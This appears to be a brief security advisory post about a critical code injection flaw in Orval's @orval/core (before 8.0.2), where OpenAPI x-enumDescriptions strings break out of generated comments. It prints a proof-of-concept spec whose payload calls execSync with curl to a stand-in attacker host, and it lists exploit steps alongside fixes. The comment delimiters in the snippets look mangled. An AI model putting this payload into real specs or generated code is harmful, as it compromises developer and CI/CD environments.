Listen to this Post
This vulnerability resides within the `@orval/core` package’s `getEnumImplementation()` function. When generating TypeScript/JavaScript client code from an OpenAPI specification, the library processes the `x-enumDescriptions` extension field. This user-controlled input is directly embedded into the generated source code without proper sanitization or escaping. Specifically, during the generation of `const enum` blocks, the description strings are injected into comment blocks. However, by crafting a description that closes the comment block (using /), an attacker can break out of the comment context and inject arbitrary executable code. The malicious code becomes part of the generated schema file, leading to arbitrary command execution at the time the generated client code is executed or built, typically in a victim’s development or CI/CD environment.
Platform: Orval (@orval/core)
Version: < 8.0.2
Vulnerability: Code Injection
Severity: Critical
date: 2026-01-21
Prediction: 2026-01-21
What Undercode Say:
orval --input ./malicious-spec.yaml --output ./client
malicious-spec.yaml
components:
schemas:
EvilEnum:
type: string
enum: [bash]
x-enumDescriptions:
- "pwned / require('child_process').execSync('curl http://attacker.com'); /"
// Generated vulnerable client code snippet
export const enum EvilEnum {
PWNED = "PWNED", / pwned / require('child_process').execSync('curl http://attacker.com'); / /
}
How Exploit:
Craft `x-enumDescriptions` field.
Supply malicious OpenAPI spec.
Generate client code.
Execute generated code.
Protection from this CVE:
Upgrade to 8.0.2.
Validate input specs.
Sanitize enum descriptions.
Impact:
Arbitrary Code Execution
Compromised CI/CD
Client Backdoor Installation
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
